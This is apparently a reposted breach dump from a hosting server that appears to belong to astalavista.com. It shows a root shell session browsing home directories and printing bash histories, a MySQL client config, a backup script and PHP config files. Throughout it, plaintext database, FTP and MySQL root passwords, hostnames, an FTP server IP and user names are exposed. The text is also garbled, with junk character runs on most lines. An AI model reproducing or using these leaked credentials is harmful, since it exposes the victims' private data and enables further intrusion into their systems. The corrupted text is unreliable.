5 F, a; g% T' }#____ ____ ___ ____ _ ____ _ _ _ ____ ___ ____ #+ K! v4 q' Y, L" y
# |__| [__ | |__| | |__| | | | [__ | |__| #; b" {8 {/ y3 z8 n" P+ }# R4 t. b; s
# | | ___] | | | |___ | | \/ | ___] | | | #
3 C4 Z0 C, ~; t# \8 _. \" r# #
4 Q( \* B# _* j! W" o/ B" P `#####################################################
7 ? L2 }" B) a) _% y# #
5 e% k: E* |# H# ^4 N7 S# Admin Contact - 链接标记support@secureservertech.com #
7 K8 t# n7 W3 \& g) L# #, t! }' J# \: |! z0 N: @# U2 t+ @9 o
# Available ShortCuts #
( l/ r& t! w) K Y7 ]! ?* T; B, L# #& b. o6 J% n2 k; U
# nst - list active connections #
3 L) w, u+ u* C* W9 u; ?# ddos - shows how many times each ip is connected #
$ U4 Y' c4 K5 n( _2 {$ A8 Y# ltr - restart the webserver #! v, g6 i2 e2 t
# phpc - edit the php config file #
, u7 B! E: a/ J! A: i# htc - edit the webserver configuration file #
7 V- w9 \) L7 x8 j9 d; N' g/ O# up - uptime ## J" c9 v% F0 W' s2 k+ J
# etd - edit the motd of the day file #2 U7 W* A6 q5 A8 A
# htr - start and restart apache if needed #
7 x x# V$ I1 U0 x! [3 E( W# syng - shows active SYN_RECV connections #: B+ r- k1 X+ m) E- _: s5 _
# synd - syn flood blocker - “synd -h” for usage #
( M5 w ]2 p. c0 C$ I4 ~. u3 l#####################################################
$ n, @) O/ f3 w# NOTES: #
5 j; h! r# H7 V l5 ` p& ]- c# Last Upgrade - 12-08-2008 by JF #( e1 H, g5 \0 Q' ~0 t5 j0 j3 B
# My.cnf/Mysql Optimization - 1-28-09 #4 v8 d3 i' U: Y7 f, F! z3 ?
# #
! X& ?' S$ n4 y* \3 _# #
+ S1 r! [7 K; l% {# #3 Y+ O7 m+ j2 j6 V l; n4 X
#####################################################
! y% @6 e& Y2 s5 K3 Z9 i$ _# `* q' J( k* f
sh-3.2# lastlog | grep -v Never4 F8 U% C/ o) C. J4 _
Username Port From Latest: z& l. Q, b% W8 ?( \/ v' p, _1 C! ?
root pts/1 adsl-194-162-fix Thu Jun 4 07:19:14 +0000 2009
, K1 T4 E7 _% f2 n1 C' W' p. I& Ladmin pts/1 cp.secureservert Thu Mar 20 10:25:39 +0000 20086 Y. W1 v: P- _+ w+ ^
com pts/0 cust.static.212- Tue Jun 2 07:46:30 +0000 2009
2 ^5 \+ D# q& }, C/ aastanet pts/0 adsl-194-162-fix Thu Apr 16 08:20:44 +0000 20094 o1 c5 @7 C' P1 w! J
5 D4 A& K V* I7 Ssh-3.2# ls -la6 C; J% e ^* b5 J s/ f
total 453376
\/ \- \6 k4 c4 E1 N3 m9 Xdrwxr-x— 15 root root 4096 Jun 4 08:40 ." I3 _, W0 n; e
drwxr-xr-x 25 root root 4096 Jun 3 02:43 ..
V) z" Y# Y3 G% ~) i8 W! y-rw-r–r– 1 root root 2394400 Oct 19 2007 10mbtest.zip
) E' i( S( f. l. y$ u/ y-rw——- 1 root root 1006 Sep 11 2007 anaconda-ks.cfg
0 Z. L/ C+ H% l; _/ G' Q6 _ q- L0 N0 }-rw——- 1 root root 16836 Jun 4 07:21 .bash_history) t3 W! O5 o6 i( u; A( j3 m4 \% H
-rw-r–r– 1 root root 24 Jan 6 2007 .bash_logout
& v& ~+ m8 ~' s/ P, a( r. p+ x-rw-r–r– 1 root root 191 Jan 6 2007 .bash_profile6 S, q+ l; ^ N- C6 V$ i% t% H
-rw-r–r– 1 root root 176 Jan 6 2007 .bashrc3 P. [6 N: h% p2 U; @! O
-rwx—— 1 root root 1899 Oct 28 2007 bk.sh
8 O" t, {8 `) Q& ~; y- k+ i% q; _! }-rw-r–r– 1 root root 1327 Nov 29 2007 cert9 @% ~2 W @3 n( b' f
-rw-r–r– 1 root root 139860821 May 14 2008 contrexxbackup_20080514.sql
5 T1 ^+ A. ~! y; W) p9 A1 _drwxr-xr-x 4 root root 4096 May 20 2008 .cpan6 K& y3 S9 `% Y
-rw-r–r– 1 root root 100 Jan 6 2007 .cshrc: U! h/ g( p9 N- @& A/ W" q/ k
-rw-r–r– 1 root root 323079 Mar 31 13:48 defaultp_ports.sql1 x( l8 C0 t, }2 V- y; L
drwx—— 2 root root 4096 Oct 28 2007 .elinks
3 }& T5 g4 Z) } J' a6 a; ~' hdrwxr-xr-x 13 root root 4096 Mar 21 2008 gdb-6.7.1& E/ m |" y9 A- ?' B
-rw-r–r– 1 root root 15080950 Oct 29 2007 gdb-6.7.1.tar.bz2+ @1 z j( }" T$ R( c- ^& E# B) ]$ J
-rw——- 1 root root 0 Apr 16 13:19 .history+ g2 a( B* _+ S4 j; k
-rw-r–r– 1 root root 16095 Sep 11 2007 install.log
8 P- g0 Z/ K. Q2 g9 w4 J' q% a. |0 V-rw-r–r– 1 root root 2566 Sep 11 2007 install.log.syslog1 f$ i8 l' i+ ?1 ~
-rw-r–r– 1 root root 1003 Jul 22 2007 install.sh$ r) G, P( b$ P3 h- x8 F f! v5 I
-rw——- 1 root root 35 Jun 2 14:23 .lesshst6 \& R! p* X/ W) `3 t; _2 G
drwxr-xr-x 2 root root 4096 Dec 29 2007 .lftp
9 V0 H; Q7 d& q1 Rdrwxr-xr-x 10 root root 4096 Sep 14 2007 linux-2.6.19.2-grsec
" B% l2 a& ~( W5 n B3 w-rw-r–r– 1 root root 94979336 Feb 16 2007 linux-2.6.19.2-grsec.tar.gz# u( X5 w; s# w& d
-rw-r–r– 1 root root 4737058 Sep 22 2007 linux-2.6.22.tar.bz24 R2 \- c. {2 d; H! b+ r9 X
-rwx—— 1 root root 760 Sep 18 2008 lp7 H* t& O0 x ? }/ U
drwxr-xr-x 12 root root 4096 Nov 30 2007 lsws-3.3.1) V1 s% t. y' |; D' F, n
-rw-r–r– 1 root root 2480045 Nov 30 2007 lsws-3.3.1-ent-x86_64-linux.tar.gz4 F7 ~# ~6 w T, p: N9 s' M
-rw-r–r– 1 root root 6388501 Nov 29 2007 lsws-3.3.1-ent-x86_64-linux.tar.gz.1
9 z: [/ f% h( kdrwxr-xr-x 12 root root 4096 Mar 21 2008 lsws-3.3.94 ?, w* z6 M2 v# g
-rw-r–r– 1 root root 6437577 Mar 21 2008 lsws-3.3.9-ent-x86_64-linux.tar.gz
3 P, \4 U" [, {4 rdrwxr-xr-x 12 root root 4096 May 29 15:10 lsws-4.0.3
- M! \7 N1 L: {' Y, \" F-rw-r–r– 1 root root 6496050 May 8 05:59 lsws-4.0.3-ent-x86_64-linux.tar.gz
! f4 @- [$ J2 e3 ?5 r-rw-r–r– 1 root root 25316 Feb 15 2006 mybk.sh! t2 F3 p7 }6 F+ ~8 A! V. a; W
-rw——- 1 root root 41 Oct 19 2007 .my.cnf
3 g6 [* x6 N, s9 B3 [6 R$ C# U-rw——- 1 root root 2902 Jun 4 08:40 .mysql_history: {/ f6 f; i8 @7 N& R) Z
-rwx—— 1 root root 38873 Apr 16 2008 mysqlreport' p( v) B1 d" |$ U
-rw——- 1 root root 41 May 20 2008 .mytop
: g3 c% v$ k+ c7 |7 E0 Cdrwxr-xr-x 3 1000 1000 4096 May 20 2008 mytop-1.6
) [4 P2 _# x0 [" X! f0 @-rw-r–r– 1 root root 19720 Feb 17 2007 mytop-1.6.tar.gz0 e) U3 t( B+ ~4 |
drwxr-xr-x 2 root root 4096 Oct 28 2007 .ncftp0 V2 l# K2 Q7 L) T+ |
-rw——- 1 root root 1462 Sep 21 2007 opt.php; u1 A7 ^/ X; l2 q4 u7 ]. C
-rw-r–r– 1 root root 3371 Sep 22 2007 p3 \$ i9 H' I# j5 H8 b
-rw-r–r– 1 root root 7608429 Aug 30 2007 php-5.2.4.tar.bz22 L/ P5 \" x) g. h& K$ I/ @$ v) n
-rw——- 1 root root 1024 Feb 3 21:32 .rnd" q$ b, c) x2 [# b. S- Z, c! j4 z
-rw-r–r– 1 root root 716 Nov 28 2007 server.csr
! N/ z. \& p `, w. Z9 T+ j3 l! g* q-rw-r–r– 1 root root 887 Nov 28 2007 server.key# E, O, }4 B$ r* l: d6 V
drwx—— 2 root root 4096 Oct 10 2008 .ssh
3 k3 R$ P* |2 u# a5 g-rw-r–r– 1 root root 44227 Oct 28 2007 tar-inc-backup.dat
4 K, o# D7 Q* R! x-rw-r–r– 1 root root 129 Jan 6 2007 .tcshrc
* y0 g% p) u% B' m-rw-r–r– 1 root root 104874307 Oct 17 2007 test100.zip' O! u. g4 g2 [) p7 [8 K: m
-rw-r–r– 1 root root 67085540 Oct 19 2007 test100.zip.1$ J H, O5 L* c
drwxr-xr-x 2 root root 4096 Apr 29 11:15 tmp& L' H4 C. ?& [$ d: d( G5 |
-rw-r–r– 1 root root 42596 May 21 2007 tuning-primer.sh0 ~. M; c+ f3 v) a" s. `
drwxrwxrwx 19 1000 users 4096 Mar 21 2008 valgrind-3.3.0# W3 G; h/ P) x" B. s x3 S
-rw-r–r– 1 root root 4519551 Dec 11 2007 valgrind-3.3.0.tar.bz21 e& M/ L' J$ I8 _* C
-rw——- 1 root root 12997 May 16 2008 .viminfo
4 c+ o/ m4 q& {6 E
. A& ?4 D: d. R, { dsh-3.2# cat .bash_history
/ s6 E9 u! M2 t7 G5 Z[snip]8 s4 S* Z8 m# a9 D
wget cp4sst.com/sstlinux.tar.gz6 S. }% a0 q" V: e6 m' j$ G
tar zxvf sstlinux.tar.gz
5 e4 l' e5 f7 \: ^" K& ecd linux-2.6.27.10
/ M! K( d. M' |sh install.sh. k- n, I) D% M# ?: R
make bzImage ; make modules ; make modules_install ; make install9 G3 ?. Y/ p$ `( n+ f9 n2 Y
make clean( w8 J; K* t3 x0 p" m! [) H
service mysqld restart! j* O: T0 w4 G9 T! q
[snip]" g- W v9 n: S. Z3 W
cd /usr/sbin/$ l: e" V3 h% Z/ ]/ R/ E8 K. o
chmod 4777 traceroute: s# y5 z* V# G( `7 m2 T# n4 X' e9 v
chmod 4777 ping
4 N# f4 q- X8 ~) qtraceroute -I 链接标记[url]www.astalavista.ch[/url]
$ @" T' N) @ b- g! o/ `" x. G[snip]4 H* C& F6 l& J6 k' j- e
vi /etc/csf/csf.conf9 \( ^% w% q1 w# O4 e$ F
traceroute google.ch( f* m# o6 U8 H4 N( V0 X9 }& L5 \: Q# }
service csf restart
0 |2 o( s B7 n& ^9 ztracert google.ch
* V& C# K3 V1 T+ iservice csf restart
) z1 D6 P0 h) U4 N+ ktraceroute 链接标记[url]www.google.ch[/url]
& J2 _5 r) s0 O1 m: Utracert 链接标记[url]www.google.ch[/url]
) X, L0 ~, h$ n4 U6 ttraceroute 链接标记[url]www.google.ch[/url]# |5 c3 O6 f+ g7 D; x
locate traceroute% Y1 g7 a# }0 }; w2 e# g
chown 4755 /bin/traceroute
* b1 u. P- {7 x. \% u) bchown 4777 /bin/traceroute6 ~; m) x6 W' h- P
locate ping2 K7 j4 ~& k( H, \: X$ R% P D9 n
chown 4755 /bin/ping
. k+ j' C) H" _5 Gchown 4777 /bin/ping
& f0 @7 m# R7 k6 vcd /bin/3 q; A. H3 O; v" H/ }
ls -ali | grep ping
% z5 |3 w+ V& [3 Y( Z" d! R Uchown root ping
% L+ O( y. B- _* E1 R$ Ochmod 4755 ping
# R0 W& Z( J- q$ j/ wls -ali | grep traceroute$ D6 E4 c2 S8 J
chown root traceroute3 X* Z( ^/ f# ~0 ?1 i
chmod 4755 traceroute, R# E% \3 C% V0 E) o
ls -ali | grep traceroute8 @; X# ^( ^% u8 B O* U
traceroute -I 链接标记[url]www.google.ch[/url]9 A j, g* V( a9 G6 f6 j
traceroute 链接标记[url]www.google.ch[/url]
, i: ^+ @+ P* W2 T+ Xwhois pmsantos.ch
% \% s7 d. ~4 q[snip]' d+ W5 L* \$ `: T" B, v- e) Q
mysql -h com_contrexx2_live < /root/defaultp_ports.sql; [- {2 A5 B) u3 k% N/ T8 I2 M
mysql -h -ucontrexxuser2 -p0fEYNZgXz1pKe com_contrexx2_live < /root/defaultp_ports.sql
( I2 F. N% R0 Tmysql -h -u contrexxuser2 -p com_contrexx2_live < /root/defaultp_ports.sql% Y/ a8 C* X6 {: B
mysql -h localhost com_contrexx2_live < /root/defaultp_ports.sql4 m4 Y }. c) x" m8 z; i1 u1 J( e5 o
top
* d# o; `( ^7 H _ping ssth.ch1 ?3 f6 w% r0 Z3 X. {4 d
ping asdlkfaljgasd???ljg???lasj.ch+ M9 o2 V0 o' ?
ping asdlkfaljgasdlasj.ch$ A* H$ D7 B8 [3 [# l9 }
ping 链接标记[url]www.ssth.ch[/url]7 F. C3 P! [ `. J. V5 Y
ping ssth.ch
- N9 C7 P B% ~) w% c* ^; \nslookup 链接标记[url]www.google.ch[/url]
7 o* I! v2 s: b5 V/ g" v4 a5 O+ {nslookup 链接标记[url]www.ssth.ch[/url]
8 Y) |' d) }: T, G, hman nslookup
, ^9 P( h2 f& L Rping 链接标记[url]www.google.ch[/url]
& I! z# |2 l% J3 H& j( w2 onslookup 链接标记[url]www.google.ch[/url]' E5 O2 k5 i# M6 B- o9 P
nslookup 链接标记[url]www.google.ch[/url]1 V7 F/ J5 K1 \' d/ K5 [0 ^6 D: Q1 ?
nslookup salfjasdlf.ch& _. N, I' T7 b" F: O: I$ O
[snip]6 P" x0 c7 U" n) ~" |' \5 ]
openssl passwd -1 sadf' t; \+ d4 g: X+ V: h
openssl passwd -1 5cZNHstdTy5 P& a6 \% {0 n& o
mysql, p5 t8 h6 U4 u I1 j
mysql
1 `; f {3 D9 r- mlocate proftp
) @2 [7 y7 c" ~vi /etc/proftpd.passwd: V$ c' m6 Y8 K9 k
service proftpd restart: q; G# P4 v0 Q$ w3 T# x ]& H( P
locate proftpd.conf" q/ H7 L2 D) y# a) Z: {
vi /etc/proftpd.conf
4 f( N, x' o3 m! b6 rvi /etc/proftpd.passwd/ Y" r: i$ w2 g6 g, x
service proftpd restart3 B5 W7 N. o. b& y# X3 [$ T* m5 P
[snip]
+ z8 o" |; Y; S, {- d" s$ g/bin/sh /home/com/backup_system/backup.sh. V6 V% Z+ A+ ~4 r9 {
tar cfv /home/com/backups/09-04-28_backup.tar /home/com/public_html/admin( O1 x0 A* Y9 \. [- p& o0 ~
mysqldump -h localhost -u contrexxuser2 –password=0fEYNZgXz1pKe com_contrexx2_live > 09-04-29-com_contrexx2_live-full.sql
1 j+ w9 `" o) E) y- |# x4 D. ^mysqldump -h localhost -u contrexxuser2 –password=0fEYNZgXz1pKe com_contrexx2 > 09-04-29-com_contrexx2-full.sql; }# s$ R2 Z. g) {, _
ls -ali
) ^' f2 V" n" _+ b% {mysqldump -h localhost -u com_user1 –password=Undv7gu29gvb5ikhS com_contrexx > 07-04-29-com_contrexx-full.sql3 ]) ]( h; |" d y @
mysqldump -h localhost -u com_user1 –password=Undv7gu29gvb5ikhS ideapool > 07-04-29-ideapool-full.sql2 J }3 j. J. |2 w1 q! X
crontab -l
, K: t" o* o. H z- u6 q; @crontab -l1 T& f3 U, o% Z" r+ }/ `" R' f: i
php -q /home/com/public_html/modifications/cronjobs/securitynews.php; e; M1 ?( h% X ~5 H& Z+ R
/home/com/public_html/modifications/cronjobs/exploits.sh
) f6 d$ A5 x6 C$ x4 ~9 x+ dwget 链接标记[url]http://www.litespeedtech.com/pac ... x86_64-linux.tar.gz[/url]$ R' `$ @3 D# z" `/ C7 R
tar zxvf lsws-4.0.3-ent-x86_64-linux.tar.gz1 g8 I) ^0 B3 N, y" N% r0 g
cd lsws-4.0.3' |: v# H$ b1 T. z* c6 P% j/ u
sh install.sh
# a8 a9 }2 X/ ^9 g& uuptime. w! u" n/ Y2 E9 q. N/ x
hdparm -tt /dev/sda$ v$ l; S5 k/ w% [: N
iostat
- P; c5 ]. H' Q5 C& I# I3 Syum install iostat
$ D; m3 |7 R) C, g3 jiostat" u5 C! F+ Y* v, j0 ]( j5 M! f5 k
whereis iostat
- \2 ^% p9 k- S4 k; `yjm clean all* E8 p/ d$ \$ x4 ]: N1 ]
yum clean all ; yum -y update7 m- c O, R! ^: y) `4 `5 t
iostat
6 C( G' A$ ]; D4 O4 Lyum install systat
3 C3 ^- |2 d; R- a! V/ ?rpm -qa | grep iostat7 \- d E% p# Q5 p5 ~
rpm -qa | grep sysstat
1 m* ~1 x5 i* k; s9 z9 erpm -qa | grep systat
4 ?. t) m9 H( ?& pdmesg -c
$ J9 h# X# ^# S7 asysctl -p. n7 Z5 V/ I8 Q& t: H
uname -r
) F7 Z; b: i/ O% t' ycd /usr/src
" C2 w$ h3 E, A- Cwget nix101.com/kernels/sstlinux.tar.gz
- l3 T k$ Y1 p* rshutdown -r now$ c% `$ [9 J0 x
nano -w /boot/grub/grub.conf
% Q+ j/ r& Q6 g% [4 J/ J
7 b$ k) C' j+ ~6 G1 M! bsh-3.2# cat .my.cnf5 n6 Q4 W, }% b3 n( N q
[client]
( [4 a8 H- a& f6 \, buser=da_admin0 @5 X, c4 e9 ]: o7 @; A
password=X9dctmRH( C+ H. ?' K9 m* W
. S# h h) p! w: U1 e
sh-3.2# cat /home/com/backup_system/backup.sh0 ] C% K! q+ P1 v8 z
#!/bin/sh
) s3 M8 V7 [1 H8 N; G#####################################################################
. k G, c1 }! @# #
! B0 {- L3 u6 a# m, Z# incremental backup for astalavista.com #4 Q3 j. w% p ]4 g
# #
% P" ] `! S z# author: Paulo M. Santos <链接标记paulo.santos@astalavista.com> #
' C8 O# G: S! `9 k5 _# #
4 t; W8 o( b4 r+ S& Y2 j#####################################################################" v" j3 z3 |# h; _: n u; S2 P
[snip]
4 J5 l. v+ a% J2 V" I. vPROG_DIR=”/home/com/backup_system”;# Q" w3 [- M+ r; k
BACKUP_DIR=”/home/com/backups”;
7 ~3 f& `1 |" G1 i: ^4 V6 w; ~DOBACKUP_FROM=”/home/com/domains/astalavista.com/public_html”;" R! D0 |5 J" k$ m/ G! n9 m
# ftp for synology backup server
9 W0 g7 f/ w+ d+ lFTP_HOST=”212.254.194.163″;
) W( \4 R/ A* T, j& E8 p5 fFTP_PORT=”21″;
+ A6 q" ]) l* `# f5 A1 W% K7 NFTP_USER=”astalavista.com”;
$ x$ P7 x8 X2 k7 _FTP_PASS=”yWHOJbzpWTWC6Xrmg1WnfBk5V”;6 l9 W) x* h+ H% X
FTP_DIR=”/astalavista.com”;
6 l" }9 L9 B$ B6 x: ^# database. E _8 b+ z. M- R% d
DB_HOST=”localhost”;. Y. P3 W8 ?! `8 U; H
DB_USER=”contrexxuser2″;
- N- C. |- Y7 kDB_PASS=”0fEYNZgXz1pKe”;
6 d3 B! U- u, S2 VDB_DATABASE1=”com_contrexx2_live”;$ ^6 r5 G5 q8 H; R+ W
DB_DATABASE2=”com_contrexx2″;
0 M+ T- q' v1 V* g[snip]: `0 |" r. f H) a2 I/ G
ftp -in $FTP_HOST $FTP_PORT <<EOF$ m% S& E, a+ o! n" _
quote USER $FTP_USER% B1 ~0 g# b, h5 E% w
quote PASS $FTP_PASS
6 A2 q, y! [" C( p1 r; y2 T7 e! mcd $FTP_DIR
. O8 h: w; ~2 j: }4 Pput $DB_FULLNAME-SQL_Dump.tar- {, A Z/ L. S( r
put $BACKUP_FULLNAME-Public_HTML.tar
* |) v0 F3 O/ X% v5 A) t' c- Vclose: M9 A% X; q& q! h8 o: F
bye$ b. y0 [: Q7 u
EOF
3 L- Q$ T: C8 m$ Q+ s5 o: O7 a
7 _6 g( ]7 z* }/ `sh-3.2# cd /home9 l4 u/ b9 J# s) K% U7 T
sh-3.2# ls -la
) L" ?! Q) Z3 H% ^; q0 Utotal 1201 T/ {9 W: W5 C6 L9 Z2 P# p
drwxr-xr-x 14 root root 4096 Mar 11 17:56 .
7 V* Q# U O% K! jdrwxr-xr-x 25 root root 4096 Jun 3 02:43 ..% @; z, S% e- q* `: o
drwx–x–x 9 admin admin 4096 Nov 28 2007 admin8 V4 e' A. r6 a7 r
-rw——- 1 root root 8192 Jun 4 03:03 aquota.group
+ Q p. L7 I5 X3 u" [" W; H-rw——- 1 root root 8192 Jun 3 02:45 aquota.user
# t% @, Q( z6 rdrwx–x–x 6 astanet astanet 4096 Jun 4 09:51 astanet: A3 t e: d# h" H
drwxr-xr-x 2 root root 4096 Jul 29 2008 backup
1 a# o( E; H/ L5 Q* V7 i9 tdrwxr-xr-x 2 root root 4096 Sep 17 2008 backup.14161$ S6 O9 q0 _2 M0 S
drwx–x–x 10 com com 4096 Apr 28 12:40 com6 o7 M6 S, ^. C8 _" g, g% x5 z3 A
drwxr-xr-x 2 root root 4096 May 17 2007 ftp
6 s# {1 V2 l4 m, s$ ydrwx—— 3 jon jon 4096 Sep 21 2007 jon
& {( p1 t2 E, ?0 N4 x" O B4 k- vdrwx—— 2 root root 16384 Sep 11 2007 lost+found8 y" B* I& F4 n
drwxr-xr-x 2 root root 4096 Sep 14 2007 my# E. z2 ]) L% @. p9 i3 {$ j
drwxr-xr-x 5 mysql mysql 4096 Sep 24 2007 mysqldata
* j: p2 k1 d `! Fdrwx—— 2 jon jon 4096 Sep 15 2007 test
2 z1 x5 y, z. q" |drwxrwxrwt 2 root root 4096 Jul 29 2008 tmp
& _; O: \' l( w
+ t, f% w- f0 ?( ]sh-3.2# cd admin/ j. }$ s% K, Y1 N
sh-3.2# ls -la y1 o9 h8 p: N2 R
total 1735896) E5 W) }& R: B: L% P! H- k
drwx–x–x 9 admin admin 4096 Nov 28 2007 .
4 n( V$ }. h# adrwxr-xr-x 14 root root 4096 Mar 11 17:56 ..4 ?: H/ h8 M% M& \! ~
drwxrwxr-x 2 admin admin 4096 Oct 25 2007 admin_backups C! m" i* r7 h% x9 X1 h4 z
drwx—— 2 admin admin 4096 Sep 28 2007 backups |- E- H! T p) n, K6 m
-rw——- 1 admin admin 860 Sep 17 2008 .bash_history3 h8 \% q! m* K P' l# g# z7 Q0 }* D4 G
-rw-r–r– 1 admin admin 24 Sep 14 2007 .bash_logout2 t% M6 b0 R2 ?( j2 Y4 D4 P% R
-rw-r–r– 1 admin admin 176 Sep 14 2007 .bash_profile
- c! R( z9 Y" P: k-rw-r–r– 1 admin admin 124 Sep 14 2007 .bashrc
, c* N9 X7 B& ?) l; ]2 pdrwxr-xr-x 2 root root 4096 Sep 28 2007 com_backups
( P. A0 x/ h) rdrwx–x–x 6 admin admin 4096 Sep 21 2007 domains
4 S4 N' H- W" Hdrwxrwx— 3 admin mail 4096 Sep 21 2007 imap' }1 W: u W2 D) h9 e/ E6 P
-rw-r–r– 1 root root 24 Sep 21 2007 info.php
* c, n, d* V0 ^* ^ ^; Pdrwx—— 2 admin admin 4096 Sep 21 2007 mail% g6 i6 s! `/ j; G5 @4 ?2 d+ w
-rw-r–r– 1 root root 716 Nov 28 2007 server.csr
: V6 S) E# Z% e C-rw-r–r– 1 root root 887 Nov 28 2007 server.key
' ~& E' W9 i- h8 g1 N8 H1 O7 t4 k& n-rw-r—– 1 admin mail 34 Sep 14 2007 .shadow
9 Q2 C; y1 P. G-rw-r—– 1 admin com 1775711054 Oct 25 2007 user.admin.com.tar.gz
& o% u# d3 o ~drwx–x–x 2 admin admin 4096 Jul 29 2008 user_backups+ B1 z$ Y$ d2 ?& S4 R9 d2 j
+ p1 F; r ^) v4 I) nsh-3.2# ..
( j6 k: l7 ?5 }2 p7 m9 {) d& |sh-3.2# cd jon3 Z3 a: d. N1 `, _# p
sh-3.2# ls -la$ N) R& U, n9 d+ ?% E) |8 I; M
total 36
+ V9 ?1 `7 k8 Odrwx—— 3 jon jon 4096 Sep 21 2007 .- O: z1 ~* g2 }/ M4 q
drwxr-xr-x 14 root root 4096 Mar 11 17:56 ..
; F: `: b3 L4 V, x' W# w6 Q8 H-rw——- 1 jon jon 53 Sep 21 2007 .bash_history3 u9 [9 P# A3 W* u! T1 M+ u
-rw-r–r– 1 jon jon 24 Sep 21 2007 .bash_logout
; y, {! n9 J5 Q9 G* m* [/ ^& l8 j! {-rw-r–r– 1 jon jon 176 Sep 21 2007 .bash_profile/ _8 m3 V, j% ?, W6 d" m
-rw-r–r– 1 jon jon 124 Sep 21 2007 .bashrc
; f }7 z' l5 Z! s-rw-r–r– 1 root root 24 Sep 21 2007 info.php
1 ~& f3 `+ z' q% ^drwxrwxr-x 2 jon jon 4096 Sep 21 2007 public_html
" s: {. E4 ?: `, o: J$ W- n1 t; d* s* l
sh-3.2# cd ..
^9 k- l, [1 O3 Z, c4 l8 K% \0 }sh-3.2# cd test
0 `8 h4 z. U; e5 \' Q, v+ t/ i, esh-3.2# ls -la
) n; z) j. V+ F& O0 F1 w) e! Rtotal 48% R# f. k: b* x& d2 N9 ?: a5 R
drwx—— 2 jon jon 4096 Sep 15 2007 ." z# d% D# |: H7 W5 {
drwxr-xr-x 14 root root 4096 Mar 11 17:56 ..7 S4 f# o: O+ d* ]( h
-rw——- 1 jon jon 79 Sep 21 2007 .bash_history/ O: c0 n8 u" d( p( o4 n
-rw-r–r– 1 jon jon 24 Sep 15 2007 .bash_logout2 Y9 D& p$ D( O8 r' ~3 R- G. Z
-rw-r–r– 1 jon jon 176 Sep 15 2007 .bash_profile& }/ H* K* `; N
-rw-r–r– 1 jon jon 124 Sep 15 2007 .bashrc
$ c: W% I& `4 D1 [/ J) a. @/ g7 hsh-3.2# cat .bash_history& `0 f5 v- Y3 M# @8 @! |
/usr/bin/mysqladmin -u root password PoliuJhytg674 }5 i# C# b5 `: ?
p( h% ^" E1 K1 O4 Xsh-3.2# cd .. J8 n5 `9 ]& t+ M' f: J
sh-3.2# cd astanet
3 K9 o* s8 \1 g3 Jsh-3.2# ls -la! G' o. a) d1 p+ U7 A$ e8 z3 H
total 52
: h) x; \# b5 ^# z& B% Z8 D; Odrwx–x–x 6 astanet astanet 4096 Jun 4 09:51 .: t$ S6 [6 m' u8 l8 Y! Z
drwxr-xr-x 14 root root 4096 Mar 11 17:56 ..
- F6 t, T, U5 S5 a) Vdrwxr-xr-x 2 root root 4096 Dec 23 16:00 auth& {9 e$ W# t$ v/ x0 Y$ @
-rw——- 1 astanet astanet 3892 Apr 16 12:14 .bash_history( L( i- l, Y7 T; p& {! s
-rw-r–r– 1 astanet astanet 33 Dec 17 21:50 .bash_logout
+ p: ]" O3 E) r4 o" q. V-rw-r–r– 1 astanet astanet 176 Dec 17 21:50 .bash_profile" n& m" k5 C6 I8 E5 D
-rw-r–r– 1 astanet astanet 124 Dec 17 21:50 .bashrc
0 x* ]7 e$ n3 b+ \3 cdrwx–x–x 3 astanet astanet 4096 Dec 23 12:18 domains
& d- \& L3 L+ vdrwxrwx— 3 astanet mail 4096 Dec 23 12:18 imap
& N# C0 l3 s8 G. T. mdrwx—— 2 astanet astanet 4096 Dec 23 12:18 mail* {0 y% O1 V3 d6 x$ r; B+ H- \
-rw——- 1 astanet astanet 197 Jun 4 09:51 .mysql_history
- v% ]+ V2 S5 S" v4 M$ wlrwxrwxrwx 1 astanet astanet 37 Dec 23 12:18 public_html -> ./domains/astalavista.net/public_html' [) E$ Y# N& F6 q$ ?9 Y2 |7 @
-rw-r—– 1 astanet mail 34 Dec 22 12:41 .shadow5 k4 T8 B' Y- W
! Q, u1 b" o2 y5 |* Q
sh-3.2# cd auth/% z6 L3 E9 [6 b* \; P0 O' ]
sh-3.2# ls -la
% |+ _% w7 L: x3 c% Xtotal 28) z" S$ r% V) L( l0 V% |
drwxr-xr-x 2 root root 4096 Dec 23 16:00 .
! x6 e6 r& }/ x& Y0 d% n8 [4 mdrwx–x–x 6 astanet astanet 4096 Jun 4 09:51 ..
8 A9 v" f/ p* h- f8 e-rw-r–r– 1 root root 321 Jan 5 2006 hackercontest.config.inc.php
, n: d) r4 Z. P. d4 ^-rw-r–r– 1 root root 319 Jan 5 2006 hosting.config.inc.php
; u7 Z2 v1 ^& X* K1 V-rw-r–r– 1 root root 24 Jun 4 09:38 .htadm_pwd# y" h2 F: s n/ D2 A0 B
-rw-r–r– 1 root root 49 Jan 5 2006 .htpasswd_newhosting2 x5 x# ]: H! T( m
-rw-r–r– 1 root root 51 Oct 11 2006 .htwebalizer_pwd
! e" X& j3 x$ v, H
# R* Y l1 [. b# \' Z* Jsh-3.2# cat hackercontest.config.inc.php
( s/ ?" y1 r5 V# {<?PHP M' Y. ^6 R3 N# ?' S0 _2 d
// Variabeln f?r Verbindung zur Datenbank //
% e9 l6 ^) L) g8 [$conxHost = ‘localhost’; // MySQL hostname
4 f) u5 F+ e/ i$ F$ I$conxUser = ‘hackercontest’; // MySQL user
3 U$ A" T+ ^1 E+ T$conxPassword = ‘K6m@7dUc’; // MySQL password
/ {+ w; q: f* E M$ M4 C$bfkey = ‘cXvB3981′; // Encryption/Decryption Key for Blowfish
X! f% |0 O2 y3 Y?>
3 t" N8 B! o6 |( k4 Qsh-3.2# cat hosting.config.inc.php- x* Y$ h7 P# H% _- k( ]
<?PHP1 x' H5 {9 G5 C- W3 S
// Variabeln f?r Verbindung zur Datenbank //
0 T0 J0 b5 z: q$conxHost = ‘localhost’; // MySQL hostname
, @4 I Y/ i/ c; x3 R* s" z7 H$conxUser = ‘hostinguser’; // MySQL user
5 a* j- `5 ~' O$conxPassword = ‘cXvB3981′; // MySQL password1 E% g9 T* s4 B! b" o1 N$ T2 v
$bfkey = ‘cXvB3981′; // Encryption/Decryption Key for Blowfish+ p$ m( H& J; @# a
?>7 T& @5 ^+ _, i/ G$ e- Q
8 a- r! k. X2 tsh-3.2# cd ..
v5 H; E2 z+ J* Bsh-3.2# cd com
; L+ _" V4 L2 p: I! {sh-3.2# ls -la
% f* B- }5 K0 v6 Atotal 141208
! L8 C/ \( C$ ]7 e# `drwx–x–x 10 com com 4096 Apr 28 12:40 .3 d5 b( m' T- ]5 q& a6 J8 m
drwxr-xr-x 14 root root 4096 Mar 11 17:56 ..
